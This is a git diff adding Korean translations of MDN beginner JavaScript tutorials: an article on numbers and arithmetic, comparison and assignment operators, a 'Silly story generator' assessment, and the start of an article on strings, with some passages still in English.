좋아요, 아닐수도 있습니다. 일부는 좋아하겠죠. 몇몇 사람들은 구구단을 배울 때부터 싫어했을 겁니다. 그리고 몇몇은 이 사이 어딘가 있겠죠. 그러나 누구도 수학이 삶을 살아가는데 필수적 요소라는건 부정할 수 없을겁니다. 우리가 자바스크립트(혹은 다른 프로그래밍 언어)를 배울때 특히 그렇습니다.  우리가 하는 일의 상당 부분은 수치형 데이터를 처리하고, 값을 계산하거나 하는 일에 의지합니다. 

+ +

이 장은 당장 알아야 하는 부분만 다룹니다.

+ +

숫자의 종류

+ +

프로그래밍에서, 우리가 잘 알고있는 십진법 체계라도 당신이 생각한 것보다 복잡합니다.

+ + + +

자바스크립트는 심지어 다른 숫자 타입을 지원합니다. 10진수는 10을 기준으로 합니다. (숫자 0~9을 쓴다는 뜻입니다.), 하지만 자바스크립트는 아래와 같은 데이터 타입을 지원합니다.

+ + + +

어려워서 힘들다고 느끼기 전에, 잠시 멈추세요! 시작하기 위해서 우리는 이제부터 10진수만 사용하도록 하겠습니다. 다른 유형에 대해 생각할 필요가 없습니다.

+ +

두 번째 좋은 소식은 다른 프로그래밍 언어와 달리, 자바스크립트는 실수와 정수 모두 {{jsxref("Number")}}라는 하나의 데이터 타입만 사용합니다. 실수와 정수 모두 같은 데이터 타입이기 때문에 하나의 방법으로 동작하게 할 수 있다는 뜻입니다.

+ +

나를 위한 숫자들

+ + + +

우리가 필요한 기본 구문을 다시 익히기 위해 몇 가지 숫자를 빠르게 생각해 봅시다. developer tools JavaScript console 에 들어가서 아래의 나열된 명령어를 입력해주세요.

+ +
    +
  1. 먼저, 두 개의 변수를 선언합니다. 그리고 두 개의 변수를 정수와 실수로 초기화해줍니다. 각각 변수명을 콘솔 창에 입력해주세요. 그리고 어떤 값이 나오는지 확인해주세요. +
    var myInt = 5;
    +var myFloat = 6.667;
    +myInt;
    +myFloat;
    +
  2. +
  3. 숫자는 따옴표(" 또는 ')가 없습니다. — 계속 하기 전에 여러 개의 변수를 선언하고 숫자를 초기화 해주세요.
  4. +
  5. 우리들의 변수들의 데이터 타입을 확인합니다. 자바스크립트에서는 데이터 타입을 확인하기 위해 {{jsxref("Operators/typeof", "typeof")}} 라는 키워드를 사용합니다. 아래와 같이 입력해 주세요: +
    typeof myInt;
    +typeof myFloat;
    + "number" 는 정수와 실수인 경우에 나옵니다. — 이것들은 정수와 실수가 다른 데이터 타입일 때 보다 다루기 쉽게 해줍니다.  그리고 다른 데이터 타입일 때 다른 방법으로 다뤄야만 합니다. 호우~!
  6. +
+ +

산술 연산자

+ +

산술연산자들의 기본적인 용도는 덧셈을 할 때 입니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OperatorNamePurposeExample
+Addition두 개의 숫자를 더합니다.6 + 9
-Subtraction왼쪽에 있는 수를 오른쪽 수로 뺍니다.20 - 15
*Multiplication두 개의 숫자를 곱합니다.3 * 7
/Division왼쪽의 숫자를 오른쪽 숫자로 나눠서 몫을 구합니다.10 / 5
%Remainder (sometimes called modulo) +

왼쪽의 숫자를 오른쪽 숫자로 나눠서 나머지를 구합니다.

+
8 % 3
+ ( 2를 반환합니다, 8을 3으로 나눴을 때 몫이 2이기 때문입니다.)
+ +
+

:  연산에 관계된 수를 피연산자라고 부릅니다.
+ 참고 - {{Glossary("Operand", "operands")}}.

+
+ +

아직 수학을 공부할 필요는 없습니다. 하지만 우리는 문법 확인을 해야합니다. 아래의 명령어들을 developer tools JavaScript console 에 입력해주세요. 

+ +
    +
  1. 아래의 명령어를 콘솔창에 입력해주세요. +
    10 + 7
    +9 * 8
    +60 % 3
    +
  2. +
  3. You can also try declaring and initializing some numbers inside variables, and try using those in the sums — the variables will behave exactly like the values they hold for the purposes of the sum. For example: +
    var num1 = 10;
    +var num2 = 50;
    +9 * num1;
    +num2 / num1;
    +
  4. +
  5. Last for this section, try entering some more complex expressions, such as: +
    5 + 10 * 3;
    +num2 % 9 * num1;
    +num2 + num1 / 8 + 2;
    +
  6. +
+ +

Some of this last set of sums might not give you quite the result you were expecting; the below section might well give the answer as to why.

+ +

Operator precedence

+ +

Let's look at the last example from above, assuming that num2 holds the value 50 and num1 holds the value 10 (as originally stated above):

+ +
num2 + num1 / 8 + 2;
+ +

As a human being, you may read this as "50 plus 10 equals 60", then "8 plus 2 equals 10", and finally "60 divided by 10 equals 6".

+ +

But the browser does "10 divided by 8 equals 1.25", then "50 plus 1.25 plus 2 equals 53.25".

+ +

This is because of operator precedence — some operators will be applied before others when calculating the result of a sum (referred to as an expression, in programming).  Operator precedence in JavaScript is the same as is taught in math classes in school — Multiply and divide are always done first, then add and subtract (the sum is always evaluated from left to right).

+ +

If you want to override operator precedence, you can put parentheses round the parts that you want to be explicitly dealt with first. So to get a result of 6, we could do this:

+ +
(num2 + num1) / (8 + 2);
+ +

Try it and see.

+ +
+

Note: A full list of all JavaScript operators and their precedence can be found in Expressions and operators.

+
+ +

Increment and decrement operators

+ +

Sometimes you'll want to repeatedly add or subtract one to/from a numeric variable value. This can be conveniently done using the increment (++) and decrement(--) operators. We used ++ in our  "Guess the number" game back in our first splash into JavaScript article, when we added 1 to our guessCount variable to keep track of how many guesses the user has left after each turn.

+ +
guessCount++;
+ +
+

Note: They are most commonly used in loops, which you'll learn about later on in the course. For example, say you wanted to loop through a list of prices, and add sales tax to each one. You'd use a loop to go through each value in turn and do the necessary calculation for adding the sales tax in each case. The incrementor is used to move to the next value when needed. We've actually provided a simple example showing how this is done — check it out live, and look at the source code to see if you can spot the incrementors! We'll look at loops in detail later on in the course.

+
+ +

Let's try playing with these in your console. For a start, note that you can't apply these directly to a number, which might seem strange, but we are assigning a variable a new updated value, not operating on the value itself. The following will return an error:

+ +
3++;
+ +

So, you can only increment an existing variable. Try this:

+ +
var num1 = 4;
+num1++;
+ +

Okay, strangeness number 2! When you do this, you'll see a value of 4 returned — this is because the browser returns the current value, then increments the variable. You can see that it's been incremented if you return the variable value again:

+ +
num1;
+ +

The same is true of -- : try the following

+ +
var num2 = 6;
+num2--;
+num2;
+ +
+

Note: You can make the browser do it the other way round — increment/decrement the variable then return the value — by putting the operator at the start of the variable instead of the end. Try the above examples again, but this time use ++num1 and --num2.

+
+ +

Assignment operators

+ +

Assignment operators are operators that assign a value to a variable. We have already used the most basic one, =, loads of times — it simply assigns the variable on the left the value stated on the right:

+ +
var x = 3; // x contains the value 3
+var y = 4; // y contains the value 4
+x = y; // x now contains the same value y contains, 4
+ +

But there are some more complex types, which provide useful shortcuts to keep your code neater and more efficient. The most common are listed below:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OperatorNamePurposeExampleShortcut for
+=Addition assignmentAdds the value on the right to the variable value on the left, then returns the new variable valuex = 3;
+ x += 4;
x = 3;
+ x = x + 4;
-=Subtraction assignmentSubtracts the value on the right from the variable value on the left, and returns the new variable valuex = 6;
+ x -= 3;
x = 6;
+ x = x - 3;
*=Multiplication assignmentMultiples the variable value on the left by the value on the right, and returns the new variable valuex = 2;
+ x *= 3;
x = 2;
+ x = x * 3;
/=Division assignmentDivides the variable value on the left by the value on the right, and returns the new variable valuex = 10;
+ x /= 5;
x = 10;
+ x = x / 5;
+ +

Try typing some of the above examples into your console, to get an idea of how they work. In each case, see if you can guess what the value is before you type in the second line.

+ +

Note that you can quite happily use other variables on the right hand side of each expression, for example:

+ +
var x = 3; // x contains the value 3
+var y = 4; // y contains the value 4
+x *= y; // x now contains the value 12
+ +
+

Note: There are lots of other assignment operators available, but these are the basic ones you should learn now.

+
+ +

Active learning: sizing a canvas box

+ +

In this exercise, you will manipulate some numbers and operators to change the size of a box. The box is drawn using a browser API called the {{domxref("Canvas API", "", "", "true")}}. There is no need to worry about how this works — just concentrate on the math for now. The width and height of the box (in pixels) are defined by the variables x and y, which are initially both given a value of 50.

+ +

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 520)}}

+ +

Open in new window

+ +

In the editable code box above, there are two lines marked with a comment that we'd like you to update to make the box grow/shrink to certain sizes, using certain operators and/or values in each case. Let's try the following:

+ + + +

Don't worry if you totally mess the code up. You can always press the Reset button to get things working again. After you've answered all the above questions correctly, feel free to play with the code some more or create your own challenges.

+ +

Comparison operators

+ +

Sometimes we will want to run true/false tests, then act accordingly depending on the result of that test — to do this we use comparison operators.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OperatorNamePurposeExample
===Strict equalityTests whether the left and right values are identical to one another5 === 2 + 4
!==Strict-non-equalityTests whether the left and right values not identical to one another5 !== 2 + 3
<Less thanTests whether the left value is smaller than the right one.10 < 6
>Greater thanTests whether the left value is greater than the right one.10 > 20
<=Less than or equal toTests whether the left value is smaller than or equal to the right one.3 <= 2
>=Greater than or equal toTests whether the left value is greater than or equal to the right one.5 >= 4
+ +
+

Note: You may see some people using == and != in their tests for equality and non-equality. These are valid operators in JavaScript, but they differ from ===/!==. The former versions test whether the values are the same but not whether the values' datatypes are the same. The latter, strict versions test the equality of both the values and their datatypes. The strict versions tend to result in fewer errors, so we recommend you use them.

+
+ +

If you try entering some of these values in a console, you'll see that they all return true/false values — those booleans we mentioned in the last article. These are very useful, as they allow us to make decisions in our code, and they are used every time we want to make a choice of some kind. For example, booleans can be used to:

+ + + +

We'll look at how to code such logic when we look at conditional statements in a future article. For now, let's look at a quick example:

+ +
<button>Start machine</button>
+<p>The machine is stopped.</p>
+
+ +
var btn = document.querySelector('button');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+  if (btn.textContent === 'Start machine') {
+    btn.textContent = 'Stop machine';
+    txt.textContent = 'The machine has started!';
+  } else {
+    btn.textContent = 'Start machine';
+    txt.textContent = 'The machine is stopped.';
+  }
+}
+ +

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}}

+ +

Open in new window

+ +

You can see the equality operator being used just inside the updateBtn() function. In this case, we are not testing if two mathemetical expressions have the same value — we are testing whether the text content of a button contains a certain string — but it is still the same principle at work. If the button is currently saying "Start machine" when it is pressed, we change its label to  "Stop machine", and update the label as appropriate. If the button is currently saying "Stop machine" when it is pressed, we swap the display back again.

+ +
+

Note: Such a control that swaps between two states is generally referred to as a toggle. It toggles between one state and another — light on, light off, etc.

+
+ +

Summary

+ +

In this article we have covered the fundamental information you need to know about numbers in JavaScript, for now. You'll see numbers used again and again, all the way through your JavaScript learning, so it's a good idea to get this out of the way now. If you are one of those people that doesn't enjoy math, you can take comfort in the fact that this chapter was pretty short.

+ +

In the next article, we'll explore text and how JavaScript allows us to manipulate it.

+ +
+

Note: If you do enjoy math and want to read more about how it is implemented in JavaScript, you can find a lot more detail in MDN's main JavaScript section. Great places to start are our Numbers and dates and Expressions and operators articles.

+
+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/first_steps/silly_story_generator/index.html b/files/ko/learn/javascript/first_steps/silly_story_generator/index.html new file mode 100644 index 0000000000..a6f2318602 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/silly_story_generator/index.html @@ -0,0 +1,192 @@ +--- +title: Silly story generator +slug: Learn/JavaScript/First_steps/Silly_story_generator +translation_of: Learn/JavaScript/First_steps/Silly_story_generator +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}
+ +

이 모듈에서 배운 지식들을 바탕으로 랜덤하게 꾸며진 이야기(silly stories)가 만들어지는 재미있는 앱을 만들어 볼거에요. 즐겨봅시다!!

+ + + + + + + + + + + + +
선행요소:이 평가에 시도하기 전에 이 모듈에서 배운 항목을 모두 수행해봐야 합니다.
목적:변수, 숫자, 연산자, 문자열 및 배열 같은 자바스크립트의 기본항목들에 대한 전반적인 이해를 테스트합니다.
+ +

시작하기

+ +

이 평가하기(assements)를 시작하기 전에, 아래와 같은 것을 해야 합니다:

+ + + +

위 방법 대신에, 여러분은 테스트에 JSBin 또는 Glitch 같은 사이트를 이용할 수 있습니다. 이 온라인 에디터들 내부에 HTML, CSS 그리고 JavaScript를 붙여넣을 수 있습니다. 만약 당신이 사용하는 온라인 에디터가 Javascript 패널(또는 탭)을 갖고 있지 않다면, 자유롭게 HTML 페이지 내부에 <script> 엘리멘트를 넣을 수 있습니다.

+ +
+

Note: 만약 평가가 막힌다면, 우리에게 도움을 요청하세요— 이 페이지 밑에 {{anch("Assessment or further help")}} 섹션을 보세요.

+
+ +

프로젝트에 대한 간략한 설명

+ +

이제 프로젝트 시작을 위해 가공하지 않은 HTML/CSS 그리고 몇몇 텍스트를  만들고 확인했습니다. 이제 아래와 같은 기능을 하는 프로그램을 만들기 위해 JavaScript를 코딩해야 합니다.

+ + + +

이 스크린샷은 프로그램 출력의 예시 입니다:

+ +

+ +

더 많은 아이디어를 얻으려면, 완성된 예(have a look at the finished example )를 참고하세요(소스코드는 엿보기 없기!)

+ +

완료하기

+ +

이번 섹션에선 프로젝트를 어떻게 진행해야 하는지 자세하게 설명합니다.

+ +

기본 설정:

+ +
    +
  1. index.html 일과 같은 디렉토리에 main.js 라는 이름의 파일을 새로 만듭니다.
  2. +
  3. HTML 파일(index.html)에 <script> 엘리먼트를 삽입하여 main.js 를 참조하도록 외부 자바스크립트 파일(main.js)을 적용합니다. </body> 태그 바로 앞에 배치하세요.
  4. +
+ +

초기 변수와 함수:

+ +
    +
  1. +

    가공 전의 텍스트 파일에서, "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" 바로 밑의 코드를 모두 복사해서 main.js 파일의 맨 위에 붙여넣습니다. 이 내용은 세 개의 변수 제공하는데, customName 변수는 "Enter custom name" 텍스트 필드 값을 저장하고, randomize 변수에는 "Generate random story" 버튼 오브젝트를 저장하고, HTML 바디에 끝에 있는 클래스가 story인 <p> 엘리먼트는 story 변수에 저장하며 해당 엘리먼트에는 랜덤한 이야기가 복사됩니다. 또한, randomValueFromArray() 함수는 배열을 가져와서 배열이 가진 항목 중 하나를 랜덤하게 반환합니다.

    +
  2. +
  3. +

    가공전 텍스트 파일의 두번째 섹션 "2. RAW TEXT STRINGS"에는 프로그램에 자동으로 입력되어 랜덤 이야기 엘리먼트에 출력하는 문자열이 포함되어 있습니다.  main.js 에 아래 설명대로 변수를 만듭니다:

    + +
      +
    1. 먼저 storyText변수에 가장 긴 문자열("It was 94 fahrenheit outside, so ~~" 로 시작하는 문장)을 저장합니다.
    2. +
    3. insertX 배열에 세 개의 문자열 집단의 첫번째(Willy the Goblin, Big Daddy, Father Christmas)를 저장합니다.
    4. +
    5. insertY 배열에 세 개의 문자열 집단의 두번째(the soup kitchen, Disneyland, the White House)을 저장합니다.
    6. +
    7. insertZ 배열에 세 개의 문자열 집단의 세번째(spontaneously combusted, melted into a puddle on the sidewalk, turned into a slug and crawled away)를 저장합니다.
    8. +
    +
  4. +
+ +

이벤트 핸들러와 완성되지 않은 함수 정리:

+ +
    +
  1. 가공전 텍스트 파일("raw text file")로 돌아가자.
  2. +
  3. "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" 밑의 코드를 복사하고, main.js 파일의 맨 밑에다 붙여 넣으세요: +
      +
    • randomize 변수에 클릭 이벤트 리스너를 추가하세요. 그러면 버튼이 클릭되었을 때, result() 함수가 실행됩니다.
    • +
    • 코드에 부분적으로 완료된 result() 함수를 추가하세요. 이 평가의 뒤 부분에서 함수가 완성되고 정상적으로 동작하도록 내용을 추가할 것입니다.
    • +
    +
  4. +
+ +

result() 함수 완성하기:  

+ +
    +
  1. newStory라 불리는 새 변수를 만들고, 이것의 값(value)를 storyText 와 똑같이 설정하세요. 이것은 버튼을 누르고 함수가 수행(run)될 때 마다 새 이야기('story')가 랜덤하게 만들어 질 수 있게 합니다. storyText를 직접 변경했다면, 새로운 이야기('story')를 한번만 만들 수 있습니다(함수를 통해서 하지 않으면 정적인 값만 유지한다는 의미).
  2. +
  3. 세 개의 새로운  변수  xItem, yItem, 와 zItem를 만들고 이 세 개의 변수는 randomValueFromArray() 를 반환 결과인 세개의 배열과 같도록 만듭니다(각 경우의 호출 결과는 각 배열에 임의의 아이템). 예를 들어 randomValueFromArray(insertX) 함수를 호출하면 insertX 에서 문자열의 하나를 랜덤하게 가질 수 있다.
  4. +
  5. 그 다음으로  newStory 문자열에 있는 세 개의 placeholders— :insertx:, :inserty::insertz: —저장된 xItem, yItem zItem 문자열을 이용하여 로 변환하세요. 여기서 특정 문자열 함수가 도움될 것입니다. 이 함수는 각 경우에 newStory와 같게되며(대입), 호출 시 마다 newStory 의 원래 값과 동일하지만 대체 될 수 있습니다(랜덤으로 값이 변경되는 것을 표현하는 것으로 추정됨) 그러므로 버튼이 눌러질때마다, 이  placeholder는 꾸며진('silly') 문자열로 랜덤하게 교체되게 됩니다. 추가적인 힌트로, 이 문제의 함수는 하위 문자열에서 찾아진 첫번째 인스턴스만 변경되므로, 아마도 두번 이상 이 함수를 호출해야 할 수도 있습니다.
  6. +
  7. 첫번째 if 블록에서, newStory 의 'Bob'이라는 이름을 name 변수를 사용하여 변환하는 함수를 추가하세요. 이 블록에서 말하는 내용은 "만약 customName 텍스트 입력에 값이 들어가 있다면, 이야기속의 Bob을 사용자가 정의한 이름으로 바꾸세요" 라는 의미입니다.
  8. +
  9. 두번째  if 블록에서는 uk 라디오 버튼이 선택되었는지 확인합시다. uk 라디오 버튼이 눌려졌다면, 이야기('story') 상의 무게('weight')와 온도('temperature') 값 들인  파운드('pounds')와 화씨온도(Fahrenheit) 를 'stones'과 섭씨온도('centigrade')를 바꾸어야 합니다. 필요한 것은 아래와 같습니다: +
      +
    1. 파운드(pound)를  stone, 화씨온도(Fahrenheit) 를 섭씨온도(centigrade)로 변환하는 공식을 참조하라.
    2. +
    3.  weight 변수를 정의하는 라인에서는, 300를 300 파운드를 stones 변환하라. 변환 결과값을 Math.round() 를 실행한 결과값 끝에 ' stone' 을 결합한다(문자열 더하기 연산 또는 concat())
    4. +
    5.  temperature 변수를 정의하는 라인에서는, 94를  화씨(Fahrenheit) 94도를 섭씨온도(centigrade)로 변환하라. 변환 결과값을 Math.round() 를 실행한 결과값 끝에 ' centigrade'을 결합한다(문자열 더하기 연산 또는 concat())
    6. +
    7. 두 변수 정의 바로 밑에, '94 화씨온도('farenheit')로  temperature 변수의 내용을 변환하는 것과,  '300 pounds'을 weight 변수의 내용을 바꾸는 두줄의 문자열 변환라인을 추가한다 .
    8. +
    +
  10. +
  11. 마지막으로, 함수의 끝 두 줄에 story 변수의 textContent 속성(property)을 newStory와 같게 만드세요.
  12. +
+ +

힌트와 팁

+ + + +

평가 또는 추가 도움

+ +

만약 작업을 평가하길 원하거나 풀이가 막혀서 도움을 원하면:

+ +
    +
  1. 온라인 공유가 가능한 CodePenjsFiddle, 또는 Glitch 같은 에디터에 작업한 것을 올려 두세요.
  2. +
  3. 평가 또는 도움을 요청을 MDN Discourse forum Learning category 에 포스트를 쓰세요. 당신의 글은 아래를 포함해야 합니다: +
      +
    • "Assessment wanted for Silly story generator"와 같은 서술적인 제목.
    • +
    • 이미 시도해본 것에 대한 상세내용과 우리가 어떻게 하길 원하는 지.
      + 예. 만약 당신이 풀이가 막히고 도움이 필요하다거나, 평가를 원한다는 것을.
    • +
    • 평가를 받고 싶거나 도움이 필요한 예제를 갖고 있는 공유가능한 온라인 에디터 링크. (위에 1단계에서 언급한 것). 이것은 좋은 습관입니다. 그들의 코드를 보지못한다면 도움을 주기는 굉장히 어렵습니다.
    • +
    • 실제 작업 또는 평가 페이지 링크, 그래야 우리가 당신이 도움받길 원하는 것을 찾을 수 있어요.
    • +
    +
  4. +
+ +

{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}

+ +

이 모듈에서

+ + + +
+
<dicword style="user-select: text;">What is JavaScript?</dicword><dicword style="user-select: text;"><dicimg id="play" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/play.gif);"></dicimg> Eng<dicimg id="copy" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/copy.png);" title="copy"></dicimg></dicword>
+
+
+
+자바 스크립트 란?
+ +
+
+ + + +
+ +
+
+ +
+
+ + + +
+ +
+
+ +
+
+ + + +
diff --git a/files/ko/learn/javascript/first_steps/strings/index.html b/files/ko/learn/javascript/first_steps/strings/index.html new file mode 100644 index 0000000000..0e24be92a8 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/strings/index.html @@ -0,0 +1,294 @@ +--- +title: 문자열 다루기 — 문자열 +slug: Learn/JavaScript/First_steps/Strings +tags: + - 가이드 + - 강좌 + - 따옴표 + - 문자열 + - 자바스크립트 + - 초보자 + - 코딩 +translation_of: Learn/JavaScript/First_steps/Strings +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}
+ +

다음으로, 프로그래밍에서 어떤 텍스트가 호출되는지 문자열에 대해 알아볼까요? 이 게시물에서는 문자열 작성, 문자열의 따옴표 이스케이프 및 문자열 결합과 같이 JavaScript를 배울 때 문자열에 대해 알아야 할 모든 일반적인 사항을 살펴보겠습니다.

+ + + + + + + + + + + + +
선결요건:기본 컴퓨터 활용능력, HTML 및 CSS에 대한 기본적인 이해, JavaScript에 대한 기초적인 이해.
목표:JavaScript에서 문자열의 기초에 대해 익숙해지기.
+ +

단어의 힘

+ +

단어는 인간이 커뮤니케이션 함에 있어 커다란 하나의 부분이라고 할 수 있기에 매우 중요합니다. 웹은 사람들이 정보를 교환하고 공유할 수 있도록 설계된 텍스트 기반의 매체이므로, 웹에 표시되는 단어를 제어하는 것이 유용합니다. {{glossary ( "HTML")}}은 텍스트에 구조와 의미를 제공하며, {{glossary ( "CSS")}}는 텍스트에 스타일(일종의 디자인)을 적용할 수 있게 해주며, JavaScript는 문자열을 조작하기 위한 여러 가지 기능 (텍스트 레이블을 표시하고 용어를 원하는 순서로 정렬하는) 등 다양한 작업을 수행할 수 있습니다.

+ + + +

지금까지 우리가 여러분에게 보여 줬던 거의 모든 프로그램은 문자열 조작과 관련이 있습니다.

+ +

문자열 — 기초

+ +

문자열은 숫자와 유사하게 다루어지지만, 더 깊게 파고들면 눈에 띄는 차이점을 발견하기 시작할 것입니다. 먼저 몇 가지 기본 라인을 콘솔에 입력하여 우리와 친숙하게 만드는 것으로 시작하겠습니다. 이 링크를 통해 다른 탭이나 창에서 열 수 있고, 브라우저 개발자 도구를 사용할 수도 있습니다).

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}

+ +

문자열 만들기

+ +
    +
  1. 먼저 아래의 명령어를 입력하세요. +
    var string = 'The revolution will not be televised.';
    +string;
    + 숫자에서 했던 것과 같게, 우리는 변수를 선언하고, 문자열을 초기화 하고, 값을 반환합니다. 차이점은 오직 숫자 대신 문자열을 넣었고, 문자열 값을 따옴표로 감싸주었습니다.
  2. +
  3. 따옴표를 빼거나 잘못쓰면 에러가 뜰 것입니다. 아래의 코드를 입력해 보세요. +
    var badString = This is a test;
    +var badString = 'This is a test;
    +var badString = This is a test';
    + 따옴표로 감싸져 있지 않은 텍스트는 변수 이름, 속성 이름, 예약어와 유사하다고 가정하기 때문에 이러한 코드는 작동하지 않습니다. 만약 브라우저가 찾을 수 없다면 에러가 발생할 것입니다. (e.g. "missing ; before statement"). 만약 브라우저가 문자열이 시작하는 곳은 볼 수 있지만, 끝나는 곳을 찾지 못하면 에러를 던집니다.("unterminated string literal"). 만약 당신의 프로그램이 에러를 계속 만들어낸다면, 다시 돌아가 당신의 문자열에 빠진 따옴표가 없는지 찾아보십시오.
  4. +
  5. 다음의 코드는 당신이 변수 string 을 선언했다면 작동할 것입니다. 아래의 코드를 입력해보세요 : +
    var badString = string;
    +badString;
    + badString 은 이제 string 과 같은 값으로 설정되었습니다.
  6. +
+ +

따옴표 vs 쌍따옴표

+ +
    +
  1. 자바스크립트에서는 따옴표와 쌍따옴표가 모두 허용됩니다. 다음의 코드는 문제 없이 작동할 것입니다. +
    var sgl = 'Single quotes.';
    +var dbl = "Double quotes";
    +sgl;
    +dbl;
    +
  2. +
  3. 따옴표와 쌍따옴표는 차이점이 거의 없어, 편한대로 사용할 수 있습니다. 하지만 당신은 문자열을 감싸는데 한 종류의 따옴표만 사용해야 되며 그렇지 않으면 에러가 발생합니다. 아래의 코드를 실행해 보세요. +
    var badQuotes = 'What on earth?";
    +
  4. +
  5. 브라우저는 다른종류의 따옴표가 감싸고 있어 문자열이 아직 끝나지 않았다고 생각합니다.  예를 들어, 아래 두 가지 모두 괜찮습니다. +
    var sglDbl = 'Would you eat a "fish supper"?';
    +var dblSgl = "I'm feeling blue.";
    +sglDbl;
    +dblSgl;
    +
  6. +
  7. 하지만, 당신은 같은 종류의 따옴표를 문자열에 포함시킬 수 없습니다. 브라우저는 어느 따옴표가 문자열이 끝났다는 것을 알리는지 혼돈하게 됩니다. 따라서 다음의 코드는 에러가 발생합니다. +
    var bigmouth = 'I've got no right to take my place...';
    + 이는 우리를 다음 문단으로 이끌어 줍니다.
  8. +
+ +

문자열 이스케이프 문자

+ +

직전의 문제의 코드를 해결하기 위해, 우리는 따옴표를 이스케이프 문자로 만들어야 합니다. 이스케이프 문자란 어떤 한 문자를 코드가 아닌 문자열로 만들어주는 문자입니다. 자바스크립트에서는 역슬래시 ( \ )를 문자 바로 앞에 작성함으로써 코드가 아닌 문자열로 인식하게 합니다.

+ +
var bigmouth = 'I\'ve got no right to take my place...';
+bigmouth;
+ +

이것은 에러가 일어나지 않습니다. 당신은 \" 와 같게도 사용할 수 있습니다. 자세한 사항은 이스케이프 표기법을 참고하십시오

+ +

문자열 연결하기

+ +
    +
  1. 'Concatenate'는 '결합' 을 의미하는 프로프래밍 단어입니다. 자바스크립트에서 문자열을 함꼐 결합하려면 숫자를 더할 때 사용하는 것과 동일한 더하기 (+) 연산자를 사용하지만 이 상황에서는 다른 작업을 수행합니다. 콘솔에 예를 들어 보겠습니다. +
    var one = 'Hello, ';
    +var two = 'how are you?';
    +var joined = one + two;
    +joined;
    + 변수 joined 의 값은 "Hello, how are you?" 입니다.
  2. +
  3. 마지막 예에서는, 그저 두 개의 문자열을 결합했을 뿐이지만 각 문자열 사이에 +를 포함하기만 하면 원하는 만큼의 문자열을 결합할 수 있습니다. 다음을 시도해 보십시오. +
    var multiple = one + one + one + one + two;
    +multiple;
    +
  4. +
  5. 또한 변수와 실제 문자열을 혼합하여 사용할 수도 있습니다. 다음을 시도해 보십시오. +
    var response = one + 'I am fine — ' + two;
    +response;
    +
  6. +
+ +
+

참고: 만약 코드에 따옴표나 쌍따옴표로 묶인 문자열을 입력하면 문자열 리터럴 (string literal) 이라 불립니다.

+
+ +

문자열의 연결

+ +

실제 작업에 사용되는 연결 방법에 대해 살펴보겠습니다. 이 과정에 앞부분의 예는 다음과 같습니다.

+ +
<button>Press me</button>
+ +
var button = document.querySelector('button');
+
+button.onclick = function() {
+  var name = prompt('What is your name?');
+  alert('Hello ' + name + ', nice to see you!');
+}
+ +

{{ EmbedLiveSample('Concatenation_in_context', '100%', 50, "", "", "hide-codepen-jsfiddle") }}

+ +

여기서 우리는 {{domxref("Window.prompt()", "Window.prompt()")}} 를 4번째 줄에 쓰는데, 그것은 팝업 대화 상자를 통해 질문에 응답하도록 요청한 다음 지정된 변수 내에 입력하는 텍스트를 저장합니다 — 이 경우에는 name 에 저장합니다. 우리는{{domxref("Window.alert()", "Window.alert()")}} 을 5번째 줄에 사용하여 두 개의 문자열 리터럴 및 변수의 값이 포함된 다른 팝업을 표시합니다.

+ +

숫자 vs 문자열

+ +
    +
  1. 그러면 문자열과 숫자를 추가 (또는 연결) 하면 어떻게 될까요? 콘솔에서 사용해 보겠습니다. +
    'Front ' + 242;
    +
    + 이 경우 오류가 발생할 것으로 예상할 수 있지만 잘 작동합니다. 숫자로 문자열을 나타내려는 것은 말이 안되지만 숫자를 문자열로 표현하는 것은 의미가 있습니다. 그래서 브라우저는 숫자를 문자열로 변환하고 두 문자열을 서로 연결시킵니다.
  2. +
  3.  숫자 두 개로도 연결할 수 있습니다 — 따옴표로 감싸면 숫자를 강제로 문자열로 만들 수 있습니다. 아래 코드를 실행해보세요(아래 코드에서 변수가 숫자인지 문자열인지를 확인하기 위해 typeof 연산자를 사용합니다.): +
    var myDate = '19' + '67';
    +typeof myDate;
    +
  4. +
  5. 만약 코드에 문자열로 바꾸고 싶은 숫자형 변수가 있지만 변수 자체의 값을 바꾸고 싶지 않거나 숫자로 바꾸고 싶은 문자열 변수가 있지만 변수 자체의 값을 바꾸고 싶지 않으면 아래와 같은 생성자를 사용할 수 있습니다: +
      +
    • {{jsxref("Number")}} 객체는 가능하면 어떠한 입력값이건 숫자로 바꿉니다. 다음 코드를 실행해보세요: +
      var myString = '123';
      +var myNum = Number(myString);
      +typeof myNum;
      +
    • +
    • 반면, 모든 숫자는 toString() 이라는 함수를 가지고 있습니다. 이 함수는 숫자를 동등한 문자열로 변환합니다. 다음 코드를 실행해보세요: +
      var myNum = 123;
      +var myString = myNum.toString();
      +typeof myString;
      +
    • +
